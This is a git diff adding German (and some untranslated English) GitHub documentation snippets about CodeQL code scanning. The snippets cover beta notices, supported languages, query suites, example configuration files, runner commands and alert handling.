+**Hinweis**: Experimentelle Warnungen für {% data variables.product.prodname_code_scanning %} werden mithilfe experimenteller Technologie in der Aktion {% data variables.product.prodname_codeql %} erstellt. Dieses Feature ist derzeit als Betarelease für JavaScript-Code verfügbar und kann noch geändert werden. 
+
+{% endnote %}
+
+{% endif %}
diff --git a/translations/de-DE/data/reusables/code-scanning/beta-codeql-packs-cli.md b/translations/de-DE/data/reusables/code-scanning/beta-codeql-packs-cli.md
new file mode 100644
index 0000000000..32513ec317
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/beta-codeql-packs-cli.md
@@ -0,0 +1,17 @@
+---
+ms.openlocfilehash: d64fe4ac7ee11f33e25d95f35a30e4070088a20f
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879012"
+---
+{% ifversion fpt or ghec %}
+
+{% note %}
+
+**Hinweis**: Die {% data variables.product.prodname_codeql %}-Paketverwaltungsfunktionen, einschließlich {% data variables.product.prodname_codeql %}-Paketen, befinden sich derzeit in der Betaphase und können noch geändert werden.
+
+{% endnote %}
+
+{% endif %}
diff --git a/translations/de-DE/data/reusables/code-scanning/beta.md b/translations/de-DE/data/reusables/code-scanning/beta.md
new file mode 100644
index 0000000000..a391e0309b
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/beta.md
@@ -0,0 +1,21 @@
+---
+ms.openlocfilehash: 67190938682aae49ce571d8d6bb61e025c36bdad
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879485"
+---
+{% ifversion ghae %}
+
+<!-- Remove this reusable and all references for GA release -->
+
+{% elsif ghae %}
+
+{% note %}
+
+**Hinweis**: {% data variables.product.prodname_code_scanning_capc %} befindet sich derzeit in der Betaversion und kann jederzeit geändert werden.
+
+{% endnote %}
+
+{% endif %}
diff --git a/translations/de-DE/data/reusables/code-scanning/billing.md b/translations/de-DE/data/reusables/code-scanning/billing.md
new file mode 100644
index 0000000000..dbaa623034
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/billing.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 0b126db04f0308c9fd9e3f05db92f122650ac5b6
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145104392"
+---
+{% ifversion fpt or ghec %}Beim Einsatz von Aktionen zum Ausführen von {% data variables.product.prodname_code_scanning %} werden Minuten verwendet. Weitere Informationen findest du unter [Informationen zur Abrechnung für {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions).{% endif %}
diff --git a/translations/de-DE/data/reusables/code-scanning/choose-alert-dismissal-reason.md b/translations/de-DE/data/reusables/code-scanning/choose-alert-dismissal-reason.md
new file mode 100644
index 0000000000..3aa2828d36
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/choose-alert-dismissal-reason.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: eb37bb6abd26f8638202d7779b1919c4beda1d02
+ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879597"
+---
+Es ist wichtig, den entsprechenden Grund aus dem Dropdownmenü auszuwählen, weil sich dies darauf auswirken kann, ob eine Abfrage weiterhin in zukünftigen Analysen berücksichtigt wird. {% ifversion comment-dismissed-code-scanning-alert %}Optional kannst du eine Zurückweisung kommentieren, um den Kontext der Zurückweisung einer Warnung aufzuzeichnen. Der Kommentar zur Zurückweisung wird zur Zeitleiste der Warnung hinzugefügt und kann bei Prüfungen und Berichterstellungen als Begründung verwendet werden. Du kannst einen Kommentar über die REST-API für die Codeüberprüfung abrufen oder festlegen. Der Kommentar ist in `dismissed_comment` für den Endpunkt `alerts/{alert_number}` enthalten. Weitere Informationen findest du unter [Informationen zur Codeüberprüfung](/rest/code-scanning#update-a-code-scanning-alert).
+{% endif %}
diff --git a/translations/de-DE/data/reusables/code-scanning/click-alert-in-list.md b/translations/de-DE/data/reusables/code-scanning/click-alert-in-list.md
new file mode 100644
index 0000000000..c4ca95ce79
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/click-alert-in-list.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: c4111d5deb66d53fede6b4fb865fcc538c94cde4
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147067386"
+---
+1. Klicke unter „Codescan“ auf die Warnung, die du untersuchen möchtest.
+{% ifversion fpt or ghes or ghec %} ![Liste der Warnungen aus {% data variables.product.prodname_code_scanning %}](/assets/images/help/repository/code-scanning-click-alert.png) {% else %} ![Liste der Warnungen aus {% data variables.product.prodname_code_scanning %}](/assets/images/enterprise/3.1/help/repository/code-scanning-click-alert.png) {% endif %}
diff --git a/translations/de-DE/data/reusables/code-scanning/close-alert-examples.md b/translations/de-DE/data/reusables/code-scanning/close-alert-examples.md
new file mode 100644
index 0000000000..736eac20f5
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/close-alert-examples.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 8f91f8699081ea6e39b805265a09d86e42987c2e
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145103256"
+---
+Beispielsweise liegt ein Fehler in Code vor, der nur zum Testen verwendet wird, oder der Aufwand zum Beheben des Fehlers ist höher als der potenzielle Vorteil der Verbesserung des Codes.
diff --git a/translations/de-DE/data/reusables/code-scanning/codeql-cli-context-for-third-party-tools.md b/translations/de-DE/data/reusables/code-scanning/codeql-cli-context-for-third-party-tools.md
new file mode 100644
index 0000000000..49b2461d7f
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/codeql-cli-context-for-third-party-tools.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d0852e81bab51c33c7ff8fe22c1045c7fcf583c1
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145104388"
+---
+Du fügst dem Drittanbietersystem die {% data variables.product.prodname_codeql_cli %} hinzu und rufen dann das Tool auf, um Code zu analysieren und die SARIF-Ergebnisse in {% data variables.product.product_name %} hochzuladen. Die sich daraus ergebenden {% data variables.product.prodname_code_scanning %}-Warnungen werden zusammen mit allen Warnungen angezeigt, die innerhalb von {% data variables.product.product_name %} generiert wurden. Weitere Informationen findest du unter [Informationen zur CodeQL-Codeüberprüfung in deinem CI-System](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system).
diff --git a/translations/de-DE/data/reusables/code-scanning/codeql-context-for-actions-and-third-party-tools.md b/translations/de-DE/data/reusables/code-scanning/codeql-context-for-actions-and-third-party-tools.md
new file mode 100644
index 0000000000..9a06bcca8f
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/codeql-context-for-actions-and-third-party-tools.md
@@ -0,0 +1 @@
+You can run {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} within {% data variables.product.product_name %} using {% data variables.product.prodname_actions %}. Alternatively, if you use a third-party continuous integration or continuous delivery/deployment (CI/CD) system, you can run {% data variables.product.prodname_codeql %} analysis in your existing system and upload the results to {% data variables.location.product_location %}.
diff --git a/translations/de-DE/data/reusables/code-scanning/codeql-languages-bullets.md b/translations/de-DE/data/reusables/code-scanning/codeql-languages-bullets.md
new file mode 100644
index 0000000000..e12d817ad2
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/codeql-languages-bullets.md
@@ -0,0 +1,19 @@
+<!-- If you update the list of supported languages for CodeQL, update docs-internal/content/get-started/learning-about-github/github-language-support.md to reflect the changes. -->
+- C/C++
+- C#
+- Go
+- Java
+- JavaScript/TypeScript
+- Python{% ifversion fpt or ghes > 3.3 or ghec or ghae > 3.3 %}
+- Ruby
+
+{% ifversion ghes < 3.8 or ghae < 3.8 %}
+{% note %}
+
+**Note**: {% data variables.product.prodname_codeql %} analysis for Ruby is currently in beta. During the beta, analysis of Ruby will be less comprehensive than {% data variables.product.prodname_codeql %} analysis of other languages.
+
+{% endnote %}
+{% endif %}
+
+For more information, see the documentation on the {% data variables.product.prodname_codeql %} website: "[Supported languages and frameworks](https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/)."
+{% endif %}
diff --git a/translations/de-DE/data/reusables/code-scanning/codeql-languages-keywords.md b/translations/de-DE/data/reusables/code-scanning/codeql-languages-keywords.md
new file mode 100644
index 0000000000..78a94f8656
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/codeql-languages-keywords.md
@@ -0,0 +1 @@
+`cpp`, `csharp`, `go`, `java`, `javascript`,{% ifversion fpt or ghes > 3.3 or ghae > 3.3 %} `python`, and `ruby`{% else %} and `python`{% endif %}
diff --git a/translations/de-DE/data/reusables/code-scanning/codeql-query-suites-explanation.md b/translations/de-DE/data/reusables/code-scanning/codeql-query-suites-explanation.md
new file mode 100644
index 0000000000..e4a50e49a2
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/codeql-query-suites-explanation.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 6581cf0b9a8c740d04e96d3049ff51e89f570666
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "146180871"
+---
+Die folgenden Abfragesuiten sind in {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} integriert und stehen zur Verwendung zur Verfügung.
+
+{% data reusables.code-scanning.codeql-query-suites %}
+
+Wenn du eine Abfragesuite angibst, wird das {% data variables.product.prodname_codeql %}-Analysemodul den Standardsatz von Abfragen und alle zusätzlichen Abfragen ausführen, die in der zusätzlichen Abfragesuite definiert sind. {% ifversion codeql-ml-queries %} Die `security-extended`- und `security-and-quality`-Abfragesuites für JavaScript enthalten experimentelle Abfragen. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_code_scanning %}-Warnungen](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts#about-experimental-alerts).{% endif %}
diff --git a/translations/de-DE/data/reusables/code-scanning/codeql-query-suites.md b/translations/de-DE/data/reusables/code-scanning/codeql-query-suites.md
new file mode 100644
index 0000000000..7d86a02ed7
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/codeql-query-suites.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 7ef928cc8f56a997197c06b1aa3bbfa5e718a174
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147785206"
+---
+  | Abfrageauflistung | Beschreibung |
+  | :- | :- |
+  | `security-extended` | Abfragen aus der Standardsammlung sowie Abfragen zu niedrigeren Schweregraden und Genauigkeit |
+  | `security-and-quality` | Abfragen von `security-extended`, sowie zusätzliche Abfragen zur Verwaltbarkeit und Zuverlässigkeit |
diff --git a/translations/de-DE/data/reusables/code-scanning/codeql-runner-analyze-example.md b/translations/de-DE/data/reusables/code-scanning/codeql-runner-analyze-example.md
new file mode 100644
index 0000000000..868f17ddea
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/codeql-runner-analyze-example.md
@@ -0,0 +1,32 @@
+---
+ms.openlocfilehash: e6d7a33506174bf50d70ae9b5d4ac9857cd880ae
+ms.sourcegitcommit: b617c4a7a1e4bf2de3987a86e0eb217d7031490f
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/11/2022
+ms.locfileid: "148161233"
+---
+1. Befülle die {% data variables.product.prodname_codeql %}-Datenbanken, analysiere sie und lade die Ergebnisse in {% data variables.product.product_name %} hoch. Die Ergebnisse werden auf der Registerkarte **Sicherheit** für dein Repository angezeigt.
+
+    ```shell
+    $ echo "$TOKEN" | /path/to-runner/codeql-runner-linux analyze --repository octo-org/example-repo
+        --github-url {% data variables.command_line.git_url_example %} --github-auth-stdin
+        --commit 5b6a3078b31dc346e5ce7b86837d6abbe7a18bbd --ref refs/heads/my-branch
+    > Finalizing database creation
+    > ...
+    > POST /repos/octo-org/example-repo/code-scanning/sarifs - 202 in 786ms
+    > Successfully uploaded results
+    ```
+2. Um die Ergebnisse von {% data variables.product.prodname_code_scanning %} als Pull Request-Überprüfungen hochzuladen, gib den Pull Request mit dem <nobr>`--ref`</nobr>-Flag an. Du solltest den {% data variables.code-scanning.codeql_runner %} einrichten, damit er im [`pull_request`](/developers/webhooks-and-events/webhook-events-and-payloads#pull_request)-Webhookereignis ausgeführt wird.
+
+    ```shell
+    $ echo "$TOKEN" | /path/to-runner/codeql-runner-linux analyze --repository octo-org/example-repo
+        --github-url {% data variables.command_line.git_url_example %} --github-auth-stdin
+        --commit 1dc7a1346e5ce7b86835b68bbda3078b37d6abbe --ref refs/pull/123/merge
+    > Finalizing database creation
+    > ...
+    > POST /repos/octo-org/example-repo/code-scanning/sarifs - 202 in 786ms
+    > Successfully uploaded results
+    ```
+
+Weitere Informationen zum Anzeigen von {% data variables.product.prodname_code_scanning %}-Warnungen findest du unter [Filtern von Codescanwarnungen in Pull Requests](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests) und [Verwalten von Codescanwarnungen für dein Repository](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository).
diff --git a/translations/de-DE/data/reusables/code-scanning/custom-configuration-file.md b/translations/de-DE/data/reusables/code-scanning/custom-configuration-file.md
new file mode 100644
index 0000000000..09550b61b2
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/custom-configuration-file.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 8853680d46623e384f28a6a697f985fd2d79d012
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881900"
+---
+Die Konfigurationsdatei kann sich in dem Repository befinden, das du analysierst, oder in einem externen Repository. Mithilfe eines externen Repositorys kannst du Konfigurationsoptionen für mehrere Repositorys an einem zentralen Ort angeben. Wenn du auf eine Konfigurationsdatei verweist, die sich in einem externen Repository befindet, kannst du die _OWNER/REPOSITORY/FILENAME@BRANCH_ -Syntax verwenden. Beispiel: _octo-org/shared/codeql-config.yml@main_
diff --git a/translations/de-DE/data/reusables/code-scanning/deprecation-codeql-runner.md b/translations/de-DE/data/reusables/code-scanning/deprecation-codeql-runner.md
new file mode 100644
index 0000000000..47a85ff30e
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/deprecation-codeql-runner.md
@@ -0,0 +1,23 @@
+{% note %}
+
+{% ifversion fpt or ghec %}
+
+**Note:** The {% data variables.code-scanning.codeql_runner %} is deprecated. On {% data variables.product.product_name %}, the {% data variables.code-scanning.codeql_runner %} was supported until March 2022. You should upgrade to the latest version of [{% data variables.product.prodname_codeql_cli %}](https://github.com/github/codeql-action/releases).
+
+{% elsif ghes > 3.3 %}
+
+**Note:** The {% data variables.code-scanning.codeql_runner %} has been deprecated and is not included in {% data variables.product.prodname_ghe_server %} 3.4. You should migrate to [{% data variables.product.prodname_codeql_cli %}](https://github.com/github/codeql-action/releases) version 2.7.6. 
+
+{% elsif ghes < 3.4 %}
+
+**Note:** The {% data variables.code-scanning.codeql_runner %} is being deprecated. On {% data variables.product.prodname_ghe_server %} 3.0 and greater, you can install [{% data variables.product.prodname_codeql_cli %}](https://github.com/github/codeql-action/releases) version 2.6.3 to replace {% data variables.code-scanning.codeql_runner %}. 
+
+{% elsif ghae %}
+
+**Note:** The {% data variables.code-scanning.codeql_runner %} has been deprecated. You should migrate to [{% data variables.product.prodname_codeql_cli %}](https://github.com/github/codeql-action/releases). 
+
+{% endif %}
+
+For more information, see [the CodeQL runner deprecation](https://github.blog/changelog/2021-09-21-codeql-runner-deprecation/). For information on migrating to {% data variables.product.prodname_codeql_cli %}, see "[Migrating from the CodeQL runner to CodeQL CLI](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli)."
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/code-scanning/edit-workflow.md b/translations/de-DE/data/reusables/code-scanning/edit-workflow.md
new file mode 100644
index 0000000000..dfed77454a
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/edit-workflow.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: a697342c2435c479a3309cfb4619c15d4521098e
+ms.sourcegitcommit: b617c4a7a1e4bf2de3987a86e0eb217d7031490f
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/11/2022
+ms.locfileid: "148161227"
+---
+Normalerweise musst du den Standardworkflow für {% data variables.product.prodname_code_scanning %} nicht bearbeiten. Falls erforderlich, kannst du den Workflow jedoch bearbeiten, um einige der Einstellungen anzupassen. Du kannst z. B. den {% data variables.code-scanning.codeql_workflow %} von {% data variables.product.prodname_dotcom %} bearbeiten, um die Häufigkeit der Scans, die zu scannenden Sprachen oder Verzeichnisse und was {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in deinem Code sucht anzugeben. Möglicherweise musst du auch den {% data variables.code-scanning.codeql_workflow %} bearbeiten, wenn du bestimmte Befehle verwendest, um deinen Code zu kompilieren.
diff --git a/translations/de-DE/data/reusables/code-scanning/enabling-options.md b/translations/de-DE/data/reusables/code-scanning/enabling-options.md
new file mode 100644
index 0000000000..9a2ec60a2c
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/enabling-options.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 3f8288f84d2b0b9aa24bf42d8e52b1348607390e
+ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879695"
+---
+| <nobr>Art der Analyse</nobr> | Optionen zum Generieren von Warnungen |
+|------------------|-------------------------------|
+| {% data variables.product.prodname_codeql %} | Verwenden von {% data variables.product.prodname_actions %} (siehe [Einrichten von {% data variables.product.prodname_code_scanning %} mithilfe von Aktionen](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-actions)) oder Ausführen von {% data variables.product.prodname_codeql %}-Analyse in einem CI-System eines Drittanbieters (siehe [Informationen zu {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in Ihrem CI-System](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system)).
+| Drittanbieter&#8209; | Verwenden von {% data variables.product.prodname_actions %} (siehe [Einrichten von {% data variables.product.prodname_code_scanning %} mithilfe von Aktionen](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-actions)) oder extern generiert und in {% data variables.product.product_name %} hochgeladen (siehe [Hochladen einer SARIF-Datei in {% data variables.product.prodname_dotcom %}](/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github)).|
diff --git a/translations/de-DE/data/reusables/code-scanning/enterprise-enable-code-scanning-actions.md b/translations/de-DE/data/reusables/code-scanning/enterprise-enable-code-scanning-actions.md
new file mode 100644
index 0000000000..df8cfa6027
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/enterprise-enable-code-scanning-actions.md
@@ -0,0 +1,9 @@
+{% ifversion ghes %}
+
+{% note %}
+
+**Note:** Your site administrator must enable {% data variables.product.prodname_code_scanning %} for {% data variables.location.product_location %} before you can use this feature. If you want to use {% data variables.product.prodname_actions %} to scan your code, the site administrator must also enable {% data variables.product.prodname_actions %} and set up the infrastructure required. For more information, see "[Configuring {% data variables.product.prodname_code_scanning %} for your appliance](/enterprise/admin/configuration/configuring-code-scanning-for-your-appliance)."
+
+{% endnote %}
+
+{% endif %}
diff --git a/translations/de-DE/data/reusables/code-scanning/enterprise-enable-code-scanning.md b/translations/de-DE/data/reusables/code-scanning/enterprise-enable-code-scanning.md
new file mode 100644
index 0000000000..700cd26b27
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/enterprise-enable-code-scanning.md
@@ -0,0 +1,11 @@
+{% ifversion ghes %}
+
+{% note %}
+
+**Note:** Your site administrator must enable {% data variables.product.prodname_code_scanning %} for {% data variables.location.product_location %} before you can use this feature. For more information, see "[Configuring {% data variables.product.prodname_code_scanning %} for your appliance](/enterprise/admin/configuration/configuring-code-scanning-for-your-appliance)."
+
+{% ifversion security-feature-enablement-policies %} You may not be able to enable or disable {% data variables.product.prodname_code_scanning %} if an enterprise owner has set a policy at the enterprise level. For more information, see "[Enforcing policies for code security and analysis for your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-security-and-analysis-for-your-enterprise)."{% endif %}
+
+{% endnote %}
+
+{% endif %}
diff --git a/translations/de-DE/data/reusables/code-scanning/enterprise-enable-dependency-graph.md b/translations/de-DE/data/reusables/code-scanning/enterprise-enable-dependency-graph.md
new file mode 100644
index 0000000000..d4da2f24d2
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/enterprise-enable-dependency-graph.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 44ece30d2ecbee779e780390785b2bcaed2c619e
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148106949"
+---
+{% ifversion security-feature-enablement-policies %}
+
+Du kannst das Abhängigkeitsdiagramm möglicherweise nicht aktivieren oder deaktivieren, wenn ein Unternehmensbesitzer eine Richtlinie auf Unternehmensebene festgelegt hat. Weitere Informationen findest du unter [Erzwingen von Richtlinien für die Codesicherheit und -analyse für dein Unternehmen](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-security-and-analysis-for-your-enterprise#enforcing-a-policy-to-manage-the-use-of-github-advanced-security-features-in-your-enterprises-repositories).
+
+{% endif %}
diff --git a/translations/de-DE/data/reusables/code-scanning/example-configuration-files.md b/translations/de-DE/data/reusables/code-scanning/example-configuration-files.md
new file mode 100644
index 0000000000..a26b75b0ae
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/example-configuration-files.md
@@ -0,0 +1,59 @@
+---
+ms.openlocfilehash: 77c9b4b73d2d839bc9c0bdaa73ffc148f0eda6ca
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109230"
+---
+Diese Konfigurationsdatei fügt die Abfragesammlung `security-and-quality` zur Liste der Abfragen hinzu, die von {% data variables.product.prodname_codeql %} beim Scannen deines Codes ausgeführt werden. Weitere Informationen zu den verfügbaren Abfragesammlungen findest du unter [Ausführen zusätzlicher Abfragen](#running-additional-queries).
+
+``` yaml
+name: "My {% data variables.product.prodname_codeql %} config"
+
+queries:
+  - uses: security-and-quality
+```
+
+Die folgende Konfigurationsdatei deaktiviert die Standardabfragen und gibt stattdessen eine Reihe von benutzerdefinierten Abfragen an, die ausgeführt werden sollen. Außerdem wird {% data variables.product.prodname_codeql %} so konfiguriert, dass Dateien im Verzeichnis _src_ (relativ zum Stammverzeichnis) überprüft werden. Ausgenommen davon sind das Verzeichnis _src/node_modules_ und Dateien, deren Name auf _.test.js_ endet. Dateien in _src/node_modules_ und Dateien mit Namen, die auf _.test.js_ enden, werden daher von der Analyse ausgeschlossen.
+
+``` yaml
+name: "My {% data variables.product.prodname_codeql %} config"
+
+disable-default-queries: true
+
+queries:
+  - name: Use an in-repository {% data variables.product.prodname_ql %} pack (run queries in the my-queries directory)
+    uses: ./my-queries
+  - name: Use an external JavaScript {% data variables.product.prodname_ql %} pack (run queries from an external repo)
+    uses: octo-org/javascript-qlpack@main
+  - name: Use an external query (run a single query from an external {% data variables.product.prodname_ql %} pack)
+    uses: octo-org/python-qlpack/show_ifs.ql@main
+  - name: Use a query suite file (run queries from a query suite in this repo)
+    uses: ./codeql-qlpacks/complex-python-qlpack/rootAndBar.qls
+
+paths:
+  - src 
+paths-ignore: 
+  - src/node_modules
+  - '**/*.test.js'
+```
+
+{% ifversion code-scanning-exclude-queries-from-analysis %}
+
+Die folgende Konfigurationsdatei führt nur Abfragen aus, die Warnungen mit dem Schweregrad „Fehler“ generieren. Die Konfiguration wählt zunächst alle Standardabfragen, alle Abfragen in `./my-queries` sowie die Standardsammlung in `codeql/java-queries` aus und schließt dann alle Abfragen aus, die Warnungen oder Empfehlungen generieren. 
+
+``` yaml
+queries:
+  - name: Use an in-repository QL pack (run queries in the my-queries directory)
+    uses: ./my-queries
+packs:
+  - codeql/java-queries
+query-filters:
+- exclude:
+    problem.severity:
+      - warning
+      - recommendation
+```
+
+{% endif %}
diff --git a/translations/de-DE/data/reusables/code-scanning/explore-alert.md b/translations/de-DE/data/reusables/code-scanning/explore-alert.md
new file mode 100644
index 0000000000..b2e38bfdce
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/explore-alert.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: cbf709a8e3f1c2a1ed5a3170a5e45c67f9c67bdf
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145104356"
+---
+1. Klicke unter "{% data variables.product.prodname_code_scanning_capc %}" auf die Warnung, die du dir näher ansehen möchtest.
diff --git a/translations/de-DE/data/reusables/code-scanning/extractor-diagnostics.md b/translations/de-DE/data/reusables/code-scanning/extractor-diagnostics.md
new file mode 100644
index 0000000000..c5b9a49251
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/extractor-diagnostics.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 45df270a99b7471ffa37d6d15482815ddd3e9b6f
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145103220"
+---
+Die Extraktordiagnose deckt nur Dateien ab, die während der Analyse ermittelt wurden. Metriken:
+- Anzahl erfolgreich analysierter Dateien
+- Anzahl von Dateien, die während der Datenbankerstellung Extraktorfehler generiert haben
+- Anzahl von Dateien, die während der Datenbankerstellung Extraktorwarnungen generiert haben
diff --git a/translations/de-DE/data/reusables/code-scanning/false-positive-fix-codeql.md b/translations/de-DE/data/reusables/code-scanning/false-positive-fix-codeql.md
new file mode 100644
index 0000000000..ca6f2e6b27
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/false-positive-fix-codeql.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 7de41d29460441b788f283ffc534495188593f59
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145104355"
+---
+Wenn du eine {% data variables.product.prodname_codeql %}-Warnung als False Positive-Ergebnis schließt, z. B. weil der Code eine nicht unterstützte Bereinigungsbibliothek verwendet, solltest du zum {% data variables.product.prodname_codeql %}-Repository beitragen und die Analyse verbessern. Weitere Informationen zu {% data variables.product.prodname_codeql %} findest du unter [Beitragen zu {% data variables.product.prodname_codeql %}](https://github.com/github/codeql/blob/main/CONTRIBUTING.md).
diff --git a/translations/de-DE/data/reusables/code-scanning/filter-non-default-branches.md b/translations/de-DE/data/reusables/code-scanning/filter-non-default-branches.md
new file mode 100644
index 0000000000..7ebbdda59d
--- /dev/null
+++ b/translations/de-DE/data/reusables/code-scanning/filter-non-default-branches.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e628886d349bf314fa6b9a91ae8652731dc5979b
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147061018"
+---
+Beachte, dass, wenn du nach Warnungen in einem Nicht-Standardbranch gefiltert hast, dieselben Warnungen aber im Standardbranch vorhanden sind, die Warnungsseite für eine bestimmte Warnung trotzdem nur den Status der Warnung im Standardbranch anzeigt, auch wenn dieser Status mit dem Status in einem Nicht-Standardbranch in Widerspruch steht. So kann eine Warnung, die in der Liste „Offen“ in der Warnungsübersicht für `branch-x` auftaucht, auf der Warnungsseite den Status „Behoben“ haben, wenn die Warnung im Standardbranch bereits behoben ist. Du kannst den Status der Warnung für den Branch, den du gefiltert hast, im Abschnitt **Betroffene Branches** auf der rechten Seite der Warnungsseite einsehen.
